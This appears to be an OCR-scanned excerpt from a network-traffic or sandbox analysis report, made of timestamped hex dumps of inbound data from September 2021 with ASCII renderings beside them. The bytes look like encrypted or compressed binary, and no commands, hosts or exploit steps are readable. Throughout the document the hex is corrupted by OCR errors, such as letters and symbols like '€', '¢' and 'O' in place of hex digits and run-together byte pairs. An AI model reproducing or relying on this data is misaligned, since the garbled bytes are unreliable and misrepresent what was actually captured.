2021-09-28 07:53:39 UTC 761 IN Data Raw: 02 eb 69 fb de 32 92 4a 48 05 b3 5c ed 27 86 35 65 12 a8 0a 4c 5b 56 88 7c c7 23 f6 4a 89 28 ad 36 55 43 8f fb
cb 0e 50 d8 7d 50 7d 44 47 be 9c 7b 28 8a fd 32 ca 59 90 67 38 ca ab 9a 01 78 34 70 ef 2c 80 d3 5a a8 65 9f 7e f7 al a4
d2 d0 7e 25 c4 fe cd 6d 88 ca 44 6¢ a3 34 95 56 a9 b1 ed f4 62 2f 8b 2c 9d 5f 1c 69 91 69 a3 97 09 6f 14 1c 72 65 dd dd
c9 88 88 b6 80 cc e3 ca 66 bf dd f5 09 15 40 cb 0d 58 4a 2d 5b 1b 60 fd 7e 8f 81 e3 87 af fa 46 64 90 dd 3b 94 20 74 4f {2
€0 60 68 69 c2 98 eb 2e 16 7d 15 4b 6d 6e 87 8e e8 12 a8 83 77 d6 79 77 37 ba ea 0f 81 01 ae 6a fe 63 7e d0 48 35 28 f1
33 elcflb 62 2a0ae0 8131 c3fl60efda8d6867celOc 694578 el dl 20 16 51 66 3f 60 f7 64 57 41 bl ba e6 33 2a
707 05 9b e2 30 84 76 €2 7e 68 70 cl 48 37 82 35
Data Ascii: i2JH\'5eL[V[#J(6UCP}P}DG{(2Yg8x4p,Ze~~%mDI4Vb/,_iioref@XJ-['~Fd; tOhi.}Kmnwyw7jc~H5(3b*1"J|iEx Qf?
"dWA3*pOv~hpH75

2021-09-28 07:53:39 UTC 765 IN Data Raw: 27 60 a4 8e a8 e0 ca el c4 5f 75 f1 c6 a2 ba 32 ff 92 ca 2c 8f 74 79 dc 99 7d 5f a0 fb 37 04 9f eb €9 a4 e3 8a cf
3b 9a d3 b4 d2 39 c7 fe bc 22 76 52 47 5a eb 90 55 19 aa a7 bc 27 a9 02 96 fO d4 c4 78 43 8f 91 e9 d0 a6 2a 58 47 7a 4c
61 e0 df 5a 08 ea 87 31 72 6e 78 0d 05 89 e5 70 94 7b dd cc f3 Oe b4 25 a2 92 be a2 af 41 0f 03 6a f1 e2 17 78 5f da ac
51 cf c1 d0 d4 4b 2d 54 d3 33 13 1¢ 87 €9 0d e8 3b bc 36 70 7e 71 10 77 0d 20 c0 60 09 f7 97 9b 6b 64 87 5e fb 07 36 5b
7d 72 2a 3a 52 6f 64 13 4f 45 5d de 30 47 4b c6 35 cb b8 78 ce 4b 48 10 cc 6e 55 94 4c 53 12 1d 2f 6d 11 4e 67 7f a8 9e
7c d3 5f 37 49 e7 89 5b 46 37 c3 aa 38 53 3¢ f7 94 3¢ 81 7e f3 5d f1 1a e8 e0 15 76 e2 41 28 d1 90 2a 71 72 bd 8b 47 cf
29 15 d0 7f fb d4 bc 13 8e 38 80 ff ad 68 61 fO 7d
Data Ascii: *_u2,ty} 7;9"VRGZU'XC*XGzLaZ1rnxp{%Ajx_QK-T3;6p~qw "kd"6[}r*:RodOE]0GK5XKHNULS/mNg|_7I[
F78S<<~]vA(*qrG)8ha}

2021-09-28 07:53:39 UTC 769 IN Data Raw: 6a ca f6 4d 66 be 90 b2 ce 5c df fO 11 bf 2a ea fb ¢5 d8 c2 3f 80 13 d8 5f 5b f1 13 f9 54 52 3¢ af 9e 01 7b a0 57
89 b2 8b 27 4f af 41 bf 3b 9d a3 f7 c9 cf eb 58 35 a9 8e ¢5 63 ¢7 71 cf dO 71 e0 ec e4 b7 27 3b {7 04 6f 8c 81 30 dc Ob aa
01 9c fa 59 f8 d3 f4 c1 ae eb c6 b3 4d d5 49 ed a9 d1 ad f8 94 9b 7c 24 52 7b 55 92 31 70 e8 05 a8 69 06 Oe 1la c6 99 34
d2 7e 90 5d 89 11 31 a7 85 30 fc 6d b2 f3 a0 5e c0 c2 dc dd 2e 9a 60 7c a3 34 05 af 24 9f 4b d4 5b cd 58 8d 8e 95 51 87
c8 45 ed 9a 72 ca be 0a d9 7f be 54 03 1a 48 23 35 d7 ef 63 2a c1 5f 29 b4 73 6a 4a 52 02 06 9b ff ec a0 4f ¢3 dc 8b 75 1f
e4 d1 af 28 4a 4d c5 31 d2 90 49 d4 3e eb 37 74 14 35 a9 2f 55 25 13 d3 b5 08 f0 d2 cf f6 4e f9 91 3d fO 1b 23 Oc d9 24 ff
51 c3e2 13 1c f4 64 ae 56 a2 df ad ba ca
Data Ascii: jM\*?_[TR<{W'OA;X5cqq’;00YMI|$R{U1pi4~]10m~. |4$K[XQEITH#5c* )sjJROU(IM1I>7t5/U%N=#$QdV

2021-09-28 07:53:39 UTC 773 IN Data Raw: 62 c8 67 01 ea 56 a3 18 2e 9b 53 4d de a3 4a f8 8¢ 61 1e b9 f2 b0 c2 d6 e8 94 df ba 6¢ 09 b7 76 32 55 41 f2 15
ef 32 el 52 ea f4 28 €9 8b 1e d3 3c e3 d5 52 34 fd f4 4b bb 62 da 33 ac 21 86 f0 93 fa 4c 0d e0 e5 Ob de 65 b2 el 8a 05
Oe 3e ee 9593 el 8b fa 31 el al 9b eb a3 49 dO 1f d9 el fO ef b8 3b 66 79 d3 dd ed 44 3b 66 cc 83 6e 9f 11 98 1b d3 57
cbh e2 dc 2f e0 71 b3 e8 a6 7b d4 43 06 f8 43 e5 6 €0 c2 c5 92 25 97 66 bc 6¢ a9 5e Oc 11 e3 53 f4 db 02 82 7e 7c d9 56
67 5f 7 bc ad 99 8b 6b ¢5 e0 95 3c 2a b5 c8 €0 65 2¢ a5 f4 4d e5 83 74 51 ae 28 49 f3 f0 1f 72 ef 6f 4f 4d c5 e3 c2 38 59
07 53 ec b3 ab 30 bd 7a d7 23 5¢ 65 a2 87 49 4d bb b9 ce e5 bb 64 04 77 65 26 94 d8 8e 1d da 64 d9 20 3f 62 le 4d 52
74 23 82 e4 b3 6f 7d 4c 4¢c 33 82 e5 ¢c6 6d e5 df 9c al
Data Ascii: bgV.SMJalv2UA2R(<R4Kb3!Le>1l;fyD;fnW/q{CC%fI"S~|Vg_k<*e, MtQ(IroOM8Y S0z#\eIMdwe&d ?bMRt#o
JLL3m

2021-09-28 07:53:39 UTC 777 IN Data Raw: b9 ac 65 e6 ce 05 ca ee b7 91 e5 09 Ob 1e a9 a2 e0 25 78 f1 07 04 f9 70 67 1f 49 38 el ad 9f b5 d6 24 90 da c5
7c¢ 9c fe 58 45 99 ea 77 bf ff 99 2f f3 5¢ ee ed c2 06 6b bb f5 bb e4 1f b5 ce 67 ef 3a 7d ae 74 ca 77 00 47 d2 b5 fd ac f3 7d
3d a5 60 23 37 0f 88 cc 20 6d b8 3c b4 ¢8 9b 62 67 60 74 31 74 1c 91 72 13 be 89 Oe 94 da ee 67 10 a7 0d 1c 44 b9 dO 6
c8 af 39 4b b8 5d 20 06 3f be 83 cf 49 17 4e bb 84 8a 56 2c 16 e2 91 af 38 ad 37 ff cf 78 df 05 e7 60 3d 7c f8 13 51 9b Od
c0 fc 01 f7 al f8 ba 71 50 9d 17 81 b7 c1 Oa db 60 98 eb 89 dc 3c 82 45 ed 89 84 be 61 39 cd 1a 63 92 03 c8 3b a7 22 a9
cd 42 b5 e6 ad da 3c 42 3c f2 79 78 16 el 7f cf €0 d6 9a 9c 73 ab b6 b7 ea 6d 13 ca 1f b8 82 33 15 d5 30 11 bc 03 58 3e
34 c8 d1 f7 a8 96 2a aa 5b 86 be 63 d4 4d e4
Data Ascii: e%xpglI8$|XEw/\kg:HwG}="#7 m<bg tltrgD9K] ?INV,87x =|QqP <Ea9c;"B<B<yxsm30X>4*[cM

2021-09-28 07:53:39 UTC 781 IN Data Raw: 29 c1 21 49 a0 c3 dc 24 6b d9 31 74 1a ac 13 45 d2 a9 ad al Oc 4c d4 72 a6 7f b8 a0 7a ce 52 4f dc c2 57 ca
00 72 01 50 04 5a b9 23 99 5f 78 73 aa f6 28 55 36 b9 01 f0 2e 9d d2 6e 37 58 ae 28 1b dc 7d bf 8 57 92 65 f8 3d 95 db Of
59 db 71 al cd 48 a6 1c d5 68 78 6b 60 c6 da f3 51 2b 72 ee 99 98 44 01 65 fc dO 1f 2b ae 7b 6e a8 7 8a 23 ed 25 b1 99
3524 b2 5e 87 c5 a2 31 44 6d 9a 17 a8 8f 25 8d 4d 65 58 00 de e9 3c ea f5 91 18 0a f9 99 el 33 35 83 €0 3b c4 58 19 57
36 64 cf 47 63 a0 51 be 49 ac 61 59 2d 3b 93 39 8¢ 07 aa 73 bf 85 5b bc a2 23 89 4f 2a 76 a9 a6 7c 78 c6 02 35 33 9b 28
40 d7 bb 3c Oe 12 ¢7 3d 65 80 3¢ 69 43 ad 28 78 d5 58 89 11 5f 9e 15 f5 f5 7e d6 bc d9 80 26 1c 78 83 f1 cc d8 82 31 a8
4e 6d 80 90 58 80 ea 46 28 85 cc ef 2a 5a f6 3a 09 23
Data Ascii: )IISKLtELrzZROWrPZ#_xs(U6.n7X(}We=YqHhxk Q+rDe+{n#%5$"*1Dm%MeX<35;XW6dGcQlaY-;9s[#0*v[x53(
@<=e<iC(XX_~&XINMXF(*Z:#

2021-09-28 07:53:39 UTC 785 IN Data Raw: f7 51 f9 5b f4 b5 f6 dc 07 61 50 cc 5¢ 84 1e 86 f5 90 98 b0 51 42 39 45 7c 3e 6f 9b f6 46 6a b9 9f ae 14 8d de
cb b7 ac 78 ¢8 75 ef 70 f6 71 45 c0 b0 fe d4 c¢1 {8 7b ¢8 Oc 76 65 1f 63 6a 15 5a 13 1d 59 e2 3b 46 1d 0d f3 b8 ff 9a ac €9
56 43 ea b9 9d ba c5 52 76 91 9f 09 7e 80 5e d7 3d fe 9f b7 33 32 df be d7 7c f3 78 7e c0 a7 42 9a 82 7f Oc 11 f0 4f cd e9
3156 d4 d3 11 3c 47 39 15 86 88 2f 97 51 a6 39 27 7a cb fa 4f 37 85 85 96 76 00 b6 b9 55 d1 3e 6a f6 16 37 02 e6 e5 f1
ee 85 61 82 46 f6 63 39 ce 3e a8 96 07 6f 99 e4 85 31 e4 dc 8b e9 f1 b0 9c a5 9b 76 c2 4f al Of a4 96 f4 c4 a5 aa Of 88 ca
2e 2e 2a 24 36 e4 4b 98 08 f0 f1 6e 1a 32 8e 93 3b b6 82 c1 f8 dd bc de e8 ae 6f 5f f7 c6 ce 06 9d 6f 41 66 b2 47 35 e7 88
8040 61 77 fe 35 35 73 b6 eb 25 f4 e5 62
Data Ascii: Q[aP\QB9E|>oFjxupqE{vecjZY;FVCRv~"=32|x~BO1V<G9/Q9'zO7vU>|7aFc9>01vO..*$6Kn2;0_oAfG5@aw5
5s5%b
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:39 UTC 789 IN Data Raw: e8 85 b1 4a 4e b8 1b ec Ob 50 c6 4a ae 28 eb 17 f6 Oc 98 dd a7 67 al c5 21 34 1c 55 db Oe 92 05 41 08 01 29
5277 33 7 e4 2¢ 59 60 e5 7a b3 8a 4f a8 cc ee f1 1c d6 e8 b3 11 44 36 53 ce 15 0f 5e d5 4f e2 3 ¢7 68 09 63 72 9 4c 38
40 89 4b 8d 18 31 05 41 ca 88 4 6 b5 12 69 9d 93 81 da 09 dd e7 47 dd d9 c6 9e bd €0 b1 38 a5 7a f4 31 28 b3 d5 b0 63
9a 35 66 8f 1b bf d7 91 b3 1e 80 5f b5 c8 a6 31 3¢ 94 d6 fa bb 03 Oe Oc 29 c2 4b {6 47 83 94 43 70 0 e5 b3 8f 89 Oe ab
84 4e 13 96 6a ed 6d ce 49 ff 2e ¢7 57 bl cd b6 d9 3f ef 80 30 bd Ob a8 al 64 14 d5 cb 9a d8 be 34 33 89 ae 98 94 17 92
5 f1 ¢3 9c fa c5 97 eb 1e 3f b0 49 52 c6 ff 9d 23 8f 13 5b 9c 87 61 ¢3 b6 f0 3e dc 38 Ob e4 d4 3d c9 cd 94 f8 85 af bd 42
59 ab 8e 06 43 a3 00 5f 29 34 b2 41 c6 bd 1a 72 c1
Data Ascii: INPJ(g!4UA)RW3,Y zOD6S"OhcrL8 @K 1AniG8z1(c5f_1<)KGCpNjmI.W20d432IR#[a>8=BYC_)4Ar

2021-09-28 07:53:39 UTC 793 IN Data Raw: 4e 28 4d 18 b7 65 75 8¢ c7 1b b1 96 d2 37 d8 4f 3e 04 82 57 d2 78 b0 99 99 27 cd 8a 9a ae 7c 8c 63 95 d5 49
7d 1c 51 27 71 b9 4a e5 47 5e ed 0d 04 99 48 36 06 8a 47 49 fa ff 7c 19 5¢ 3e 93 b7 de e0 00 6f 28 94 9e a9 16 8b 65 8b
92 aa fb 07 5f 95 d8 d6 ea 3a 20 a4 78 3d 19 85 80 88 d7 72 6¢ bf 7d b4 10 4b 95 bl ce 47 1c 04 5b 57 d6 2c c4 98 42 ff
a8 03 60 e3 29 a3 af 03 79 b5 70 5f 27 df 00 99 90 6e 27 70 06 3e e5 3f 66 c¢7 40 03 ef dO d1 4f fe 8d 17 67 53 ba 6b a7 ed
b2 a7 c4 7d 51 3e 6f 2b db 24 39 5f 8d d4 80 a8 5e 83 79 b1 8b cf ab 37 73 26 36 71 13 10 34 82 bb bd ab ff ab fc 74 e4
5d 99 db 78 2f 3a 40 a9 84 d4 29 52 44 63 ef c¢5 f5 94 76 84 67 2a 3d 12 ab 80 1c €3 96 2c b5 c1 ab 88 f9 da 41 20 87 34
¢3 3f 5¢ 5e 2¢ 37 52 59 e2 08 f2 b2 a3 65 b3 32 76 91
Data Ascii: N(Meu70>Wx'|cl}Q'qJG "HEGI|\>0(e_: x=rl}KG[W,B")yp_'n'p>?f@0gSk}Q>0+$9_"y7s&6q4t]x/:@)RDcvg*=,A
4?2\\7TRYe2v

2021-09-28 07:53:39 UTC 797 IN Data Raw: 29 fa c0 63 a5 c5 20 83 1e 82 c9 41 f8 5b 7f 56 b4 cb 94 d0 Of 3f 28 64 55 d8 b5 1d 68 da 36 81 a3 ac 8f e8 9a
f1 7c ce 84 a9 69 3c 1f 49 e0 07 3e 84 03 b6 1f 06 7a 9e 15 92 1a 34 f8 0a d7 b7 32 5c 5b 05 f4 3b 49 2d 39 78 b2 2f cO
49 25 32 3d 27 6b 13 87 31 a5 9e 6e 59 d3 7d 61 96 15 dd 64 94 67 54 32 af c7 56 9d 28 fa 77 1f 86 4c 13 fO b2 d5 56 67
98 45 le 7 48 38 b8 cb f0 65 13 3a 4a 91 23 82 a3 ed a8 54 79 €6 47 €3 62 8a 89 37 82 61 d4 76 15 ad ba al cc 9e 87 10
f2 7d b0 6f 2a 33 38 30 3d f1 02 a4 cf ca b8 al 32 8d cf 57 c9 ad 0a d0 d8 55 f7 93 cc 6d 5¢ e0 2e 9a 3c 5b 47 85 90 11
7b 70 89 db 72 f9 a0 33 b1 4b 97 89 1e f3 3f Oc 9b f3 el c7 6a 67 €7 d6 ed 58 94 8 fc 8f da 20 91 81 ee 82 8e 86 30 d7 46
bb e8 cc 93 a2 bb 5 78 13 29 e5 1c 77 3e df 05 bl
Data Ascii: )c A[V?(dUh6|i<I>z42\[;]-9x/I%2="k1nY}adgT2V(wLVgEH8e:J#TyGb7av}o*380=2WUm\.<[G{pr3K?jgX OFx)w>

2021-09-28 07:53:39 UTC 801 IN Data Raw: 61 f3 5d 6a 09 1f 38 67 d3 5a 20 Oa ca 10 dc 19 44 04 28 5b 4c ec 76 d4 5d fb 99 af 6¢c 8b 29 94 92 6e 73 cb b3
73 ce 35 0e 94 01 53 d1 7c 06 f6 e0 6b 27 db 3a ce 42 85 23 95 75 83 c0 45 ¢5 7f 38 Oc 62 b4 3b bd 2d fb 5¢ 7c 86 0 eb
1d 27 58 14 06 3 9¢ 7f 1d f4 b3 c2 99 14 ba cd dd 83 b3 25 2c a5 2b 76 c1 c6 5f fd 01 14 40 a4 23 6d 51 71 91 01 a0 1c
ae c3 ee df 44 da bc b9 ec ff f7 ae ca c9 42 d4 f5 d0 71 96 ec 6a 8e c2 c9 06 93 33 b4 ed 22 67 96 9a 7f 3e 79 03 70 05 Oe
7500 9a b2 81 cd 1f e8 ab 42 f4 db e8 31 f9 b7 97 31 01 29 85 97 61 2a c6 48 ca 1d bb 75 9a a0 72 €9 72 94 c1 76 ed 25
02 0d 96 29 46 da c9 aa ee 18 f8 45 08 d7 9d f3 57 de 60 05 ea 6 be 89 51 c1 95 ad 75 e8 76 1e 1b 83 17 5¢c 7f 7d 91 2b
6f 24 70 d8 12 df 59 36 92 d5 42 91 ba 56 26 98 da
Data Ascii: a]j8gZ D([Lv]l)nss5S|k":B#UE8D;-\|'X%,+v_@#mQqDBqj3"g>ypuBl1)a*Hurrv%)FEW Quv\}+o$pY6BV&

2021-09-28 07:53:39 UTC 805 IN Data Raw: €7 b1 d5 08 9d 5f 50 c¢3 ae e7 ad dc 74 12 42 ed 34 53 d3 d5 80 fc d7 57 47 cc 1f 93 3f a9 74 b2 d5 3f bb fd 18
ab 71 d5 03 b7 77 88 62 0a b5 41 e9 c1 36 be 22 5a 45 b3 28 2a 6b 83 63 24 ce 27 ec e4 5e 2f 90 e7 90 6a d3 02 d8 3c
ee b2 9d 0a 8d a7 65 88 3d cd d8 f9 d5 23 7d 33 5¢ 53 68 59 2b 2c c4 06 30 e6 91 07 36 3b f2 2e 2a Ob 6d 4e 41 86 7e bb
cac7 b9 6d 80 73 59 4c 95 8a 1b 1c d4 32 d6 9a d4 96 dd f4 b7 39 01 Oe 91 10 9b ed Oe ee 46 7d f9 40 f1 46 38 93 8f 4b
d9 05 d3 35 ee cl 7f e3 e7 6 7e ee a3 3f 67 2a 10 b5 76 af 90 89 57 27 c0 e2 d4 36 b6 09 c6 ad cl 5e 65 da 19 39 16 ab
94 69 71 fc 01 b6 b3 53 d8 b6 5d f3 38 al d7 dO e0 bd 4a 04 3f aa 50 52 a2 c3 b3 cd 33 d2 60 3d 01 84 4d c7 98 74 34 99
12 cf d7 73 €9 9b cb 4f ca 8f db 27 2d 3a a7 b9 70 ca 6¢
Data Ascii: _PtB4SWG?t?qwbA6"ZE(*kc$Vj<e=#}3\ShY+,06;.* mMNA~msYL29F}@ F8K5~?g*vW'6"e9iqS]8J?PR3 =Mt4sO'-
:pl

2021-09-28 07:53:39 UTC 809 IN Data Raw: cO ae 11 eb 0d 7a 9e 82 b2 d7 7d 29 53 9a 8c 71 d0 1e 57 aa fe 35 41 a4 1d 7c 43 0d 74 10 7d 1d 74 06 df 3b
€9 65 e4 e4 d3 f0 el c0 77 43 26 d5 Oc Of 61 8e 00 40 Ob 5d ab 49 89 f8 ff 8f 38 23 1c 9d 30 69 6a f8 51 bl 13 dc b8 7e 1b
4e 18 2f 1b ¢4 9b 78 4e a0 6a e0 db 4c 13 81 57 07 79 57 4d fe b7 7 b0 d9 35 53 2b 44 07 8e 54 85 b6 db dc c1 67 e8 32
2c 3c 84 d8 c0 94 ea e9 fe 7e 80 a8 66 64 5e 6f dc b4 0f a7 a8 cf 15 9c e2 9c Ob 4d 6f 9d 4f bb 0f fe ed db 80 cc 29 82 af
4a 15 30 0f 54 de 37 bb 2a 84 70 91 42 cd 71 d1 b9 5¢ 4b 41 87 97 6e 6a 4a 7d d9 02 76 9a 7a 38 bf 70 df el 66 63 66 9e
14 27 1b 39 d4 f3 09 ae 97 bc 92 ¢3 57 ce 31 76 9e e3 a2 al 8d 39 d8 b9 96 7d c6 3f 55 14 b5 04 47 6a a5 c5 3c 40 af b8
a8 f4 b5 d5 14 ea 10 ab e2 8a 47 7b 4a 04 ea 6f 7f
Data Ascii: z})SqQW5A|Ct}t;ewC&a@]18#0ijQ~N/xNjLWyWM5S+DTg2,<~fd*oMoO)JOT 7*pBq\KAnjJ}vz8pfcfowW1ve}?uU
Gj<@G{Jo

2021-09-28 07:53:39 UTC 813 IN Data Raw: 2d 9b 36 5e 64 cf 65 b8 48 f0 cO 19 bc ff 1f 40 81 8d c1 42 67 40 80 7a d5 32 9a c7 8f 5¢ 76 €9 8¢ 05 49 6d 63
63 28 ef 16 70 8¢ a6 77 4d 58 6e d0 5f cd 48 69 d1 c1 40 b2 9b c8 46 d9 40 27 b8 43 21 21 2c a3 6a 70 d8 91 80 00 a5 88
db 96 11 18 bb 03 75 0f 28 ed 02 fe Oc fc bc 56 00 95 7f b4 f1 ae 60 32 f0 fe 6f 70 6¢ Oa 37 bd d7 7f 08 40 27 d2 ec 3b 77
d3 97 63 ca94 b7 97 e2 6357 2e 01 7c e1 19 0b f3 e4 12 10 f2 73 dd 11 91 21 9c d4 80 d8 5a €6 75 9e 95 11 2d b6 f1 06
89 e2 83 99 b9 4b df a3 60 fc de bc b4 74 a6 ae 3c 7f al 53 bd 89 9a d7 5c b8 ca 18 7f f6 e7 57 13 fd fd 54 dc ee f1 a0 a3
46 0f 45 65 98 4e ac c7 4a 45 cd 15 4c 02 06 8e c3 7f 2¢ 9f 91 23 d6 c8 62 9c c1 d6 6a c8 35 al 66 b8 7f d3 27 90 8e 3b
6b af 09 71 4f ea be 2f ab 65 3f f1 01 fe 77 87
Data Ascii: -6"deH@Bg@z2\vimcc(pwMXn_Hi@F@'C!!,jpu(V 20pl7@";wccW.|s!Zu-K t<S\WTFEeNJEL #bj5f';kqO/e?w

2021-09-28 07:53:39 UTC 817 IN Data Raw: 87 1f 42 13 ea b1 a9 65 61 db a8 b2 99 ca 8d 77 59 80 26 38 7c ac 02 be 56 53 e7 bf aa b8 19 89 c1 cb ec 14
a4 f3 30 3e 2b ff 2f 02 ff bc b0 37 €8 60 ba 9d 15 8e 7f 48 ad 41 54 49 ba b3 58 cf 4f 1c 7d de f0 78 70 05 d5 56 90 96 3
d5 41 bf ea 64 7e 54 b0 28 1d 4 2e 48 d9 ff d8 90 35 b2 d1 a9 4b 80 a8 b2 f7 cc c2 50 4a 8f 0a c4 39 c9 66 36 63 a0 9¢ 27
54 17 ¢4 b9 66 6d 15 c4 4b 3e 23 73 f0 a9 ce ae d1 16 f8 74 7a 05 90 1d b6 31 €6 06 8d 9d c4 5d 43 42 d5 b0 f3 ab 27 21
14 e1 6 51 22 83 7a 86 36 ec 14 a5 e2 d0 c9 c4 09 ba 25 66 ab 55 37 b6 f6 ac 5¢ 73 fc ae 03 a6 b8 85 2e f8 3f 47 ee 6d
84 8e 90 38 c5 f9 2d 68 00 3b 28 1a 51 8f 71 03 ab 99 13 da b9 al 97 c5 e2 b7 c8 02 ef fd €0 d1 11 ea e4 2a 2c 83 00 6d
7d 37 38 17 84 8¢ 22 90 59 3e 71 fd 42 68 30 d7 6b
Data Ascii: BeawY&8|VS0>+/7"HATIXOxpVAd~T(.H5KPJ9f6c TfmK>#stz1]CB'10Q"26%fU7\s.?Gm8-h;(Qqg*,m}78"Y>
qBhOk

2021-09-28 07:53:39 UTC 821 IN Data Raw: 6a c8 40 21 2c 7f b9 14 bf e4 ef 8f 2e d1 35 bb 3c 23 07 3a d9 0f 47 33 82 9e 82 7e 69 e6 d0 38 57 1f eb 57 a3
9f Of 6f 0d d9 a4 bc 5f b0 ea c6 a3 c5 e3 83 4f 5b Oc be d3 f2 d8 38 70 48 5e 4a 40 a9 21 8f 9d 50 bc ba 54 a0 61 87 {7 a6
67 da 38 3b 4d 64 0f a8 56 b5 de 3d d8 84 5¢ 32 f5 52 d8 8b 08 12 f9 65 1c f7 5b db 34 03 81 66 5a 2a ac 9c 22 a6 fd 74
7c 8e 6c ae Oe 76 e0 02 47 el e2 93 73 46 7f 41 4e 42 b6 20 bb c1 23 5b 71 9d f8 65 8a 2b ff 49 c5 5e 28 51 48 2f Ob dO
fd 90 65 3e d4 00 89 36 06 38 6b 02 30 d3 10 4b €9 91 fb 2d Oe 65 93 ae dc 65 72 89 1b 13 33 23 52 31 21 fd 99 6f 4e 6d
5f 00 8a c4 ef 59 52 9a c9 68 12 61 c5 e6 74 6f de 41 d4 bf e4 da 5¢ 39 8d c6 81 50 61 97 94 e6 c3 af 53 74 a5 93 4f 33
c9 1f 67 cf a7 c9 03 Oe a5 4f {7 9d cd 6d c1 44 6f
Data Ascii: j@!,.5<#:G3~i8WWo_O[8pHN@!PTag8;MdV=\2Re[4fZ*"t|lvGSFANB #[qe+I"(QH/e>68k0K-eer3#R1loNm
_YRhatoA\9PaStO3gOmbDo
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kBytes
Timestamp transferred Direction Data

2021-09-28 07:53:39 UTC 825 IN Data Raw: 1f bc 38 €8 42 66 28 d1 93 c8 a0 9a d9 92 e3 af 83 fd 22 1f 2f 37 ae 3e fd 28 91 8a 83 2a 1f 71 fd 89 14 1c 5a
a2 d0f2 a5 42 e7 08 06 cO 65 ea 1c 17 a8 27 80 7b 7a 63 1d 8e db 5e 59 79 95 €9 d1 1a dd 45 90 ce e0 75 6a 65 €6 18
3bee 65 bl f1 b2 58 3d c4 6e c1 16 6e 92 fb a3 4d 5d 08 c6 fc 1f ac 4f 36 Oa 2f a4 4c c6 3f 54 69 ec dc 68 2e Oc 04 bc 2a
6a 70 9b 05 c6 5e 39 21 05 f8 dd a3 15 d8 80 4a d3 3c d4 al 16 8¢ f0 d8 71 e4 cb 5e 6¢ 7d 33 69 €8 5a 90 ec ae b7 Oe 30
fc 4f c0 f8 7f 7a ac c1 3d 05 4a 49 7d 92 f1 9a 15 1c 4d c1 al 5f 07 67 74 fe 50 5a 8e e5 59 el dO ef d6 15 {3 6a 8a 03 3a
23 7d 59 71 a4 f3 31 60 2e 81 2e 25 35 a5 40 08 eb aa 7e ed 44 06 23 08 a5 bf d8 69 cb d2 b2 f6 8a 34 54 4d 28 3c ab Oa
ad 67 6e 55 25 88 22 ea ea 53 1b bc d6 66 d3 fd f8
Data Ascii: 8Bf("/7>(*qZBe'{zc"YyEuje;eX=nnM]O6/L?Tih.*jp"9!J<qM}3iZ00z=JI}M_gtPZY]j:#}Yql"..%5@~D#i
ATM(<gnU%"Sf

2021-09-28 07:53:39 UTC 829 IN Data Raw: 3d 7a 86 a8 06 3f bd 75 5c dc 3f a2 c5 6b 69 18 42 a7 18 eb 6b 4b 9 3f bc 3b Oa af af ed 6b 84 fe a3 44 2a b5
2e 94 63 6e 67 4d b5 c¢3 13 c1 40 fb 54 8d 84 ea c0 c4 f1 ¢7 98 55 9d eb d8 c1 bc 02 33 4b 68 60 68 03 d8 e9 1f 59 1d 13
d7 24 67 7e 6e 6f c2 4d e5 4d eb 05 11 a4 5c el 30 fa fO cf b7 8f 70 Ob 16 66 65 42 72 0a 21 67 35 3e 37 a3 27 53 f4 42
e7 7f a9 bf 88 68 5e 97 11 83 a1 00 a7 08 71 df b3 5f 2b 21 3b cd 96 84 7d f2 29 7e 1le 37 a0 4e 74 34 40 e6 1b 27 ec de
e5 cc 55 9d 9c 39 24 61 1c 29 b4 15 2d 50 39 Ob 7b 88 ab 76 c9 ea d7 f6 84 b0 4f 1f 90 e6 29 d2 09 9b 01 c8 25 4d 91 8e
ee 3d 92 99 b0 21 7c 63 15 94 6e 43 86 cd 87 95 4b el 6¢ 69 97 6b 8e al 5f 4c ca 83 da 11 6¢ 40 f4 e8 20 ae 8a 77 7d 32
49 d1 62 20 61 1f fb 41 cc 38 c6 fO b5 91 3b 37 5a e8
Data Ascii: =z?u\?kiBkK?;kD*.cngM@TU3Kh hY$g~noMM\OpfeBr!g5>7'SBh*q_+!;})~7Nt4@'U9%a)-P9{vO)%M=!|cnC
Klik_LI@ w}2Ib aA8;7Z

2021-09-28 07:53:39 UTC 833 IN Data Raw: cb bf bc d2 97 6b f1 d2 54 52 34 5e 13 e4 d7 73 91 3a 8d b2 cb ee 53 4b 30 d5 3a 18 91 d6 68 a9 59 d1 63 e3
8c f7 61 3521 11 58 d2 7b 35 a6 9f d2 b4 9f 34 59 f0 a0 35 cd ca 75 7b 0a d1 3e 14 02 f2 3e c7 84 2e 84 1a 1la Oc d8 4f
44 e3 2b 53 47 ec ff 65 22 b1 a5 d5 e5 28 €9 04 fO e6 2f 09 cb 8c ee ca bc e3 08 ff f5 13 7d 9f 04 12 20 84 be dc 03 56 65
b1 4f 95 82 84 3c €9 73 11 ¢5 ¢4 13 ec dc b0 ab 55 3 a2 3b 3d 60 27 91 de 3f 97 e8 12 8f 6d 24 fd 4c 6a cc c4 43 3f fe e5
78 04 8f e2 80 50 18 0a 82 23 d7 be 12 5d €9 ed ce 23 44 ef 97 65 85 2a b6 ce 7e c6 Oc db c0 84 ¢8 39 dO f1 22 de 6¢c ce
b9 c0 a6 16 e7 ae Of 2b fd df dO af 73 7c 2c 74 el 92 5¢ b0 56 28 94 d4 2c b6 ba e4 18 63 f8 a5 b7 e0 00 d2 08 02 Ob bf 0d
59 ac 05 89 e5 14 a7 63 ba 03 15 17 e4 a3 72 b0
Data Ascii: kTR4”s:SK0:hYca5!X{54Y5u{>>.0D+SGe"(/} VeO<sU;=""2m$LjC?xP#]#De*~9"l+s|,t\V(,cYcr

2021-09-28 07:53:39 UTC 837 IN Data Raw: 63 38 40 ed a0 ab 8b 9e a2 84 16 b2 17 53 fc d2 da 60 d2 €9 46 54 25 d6 3d 25 2f 17 9d 5a c¢3 4b 11 ¢3 60 00
de a3 69 cb 14 4e 40 16 3a 51 39 10 da eb bd af bc 69 bc cb 88 ca 1a 57 28 43 53 €3 0d 99 02 f5 7f 96 a5 9e 66 c5 b8 2e
9a b3 4a d3 8d 7d 6a 68 bd 24 6a 8¢ 2d f2 d3 30 6e 86 a4 fa 44 01 le a2 84 4c 45 84 06 fd 46 13 e0 b9 ec 2c 45 1a 64 dc
36 40 21 14 db 29 4b 79 f6 22 €0 f1 cb b2 69 f0 16 1f b5 68 43 03 6d 04 ce 98 b7 30 ed ad d4 bd 33 c9 17 51 5e a7 63 eb
5196 db 90 fe al 4a c5 16 41 ee 7b 19 fc Oe 37 54 00 f4 ea 62 ca 64 5e 05 7c 0f 70 9f 33 58 6e 72 ed a9 25 4e 6b 2c €8 f5
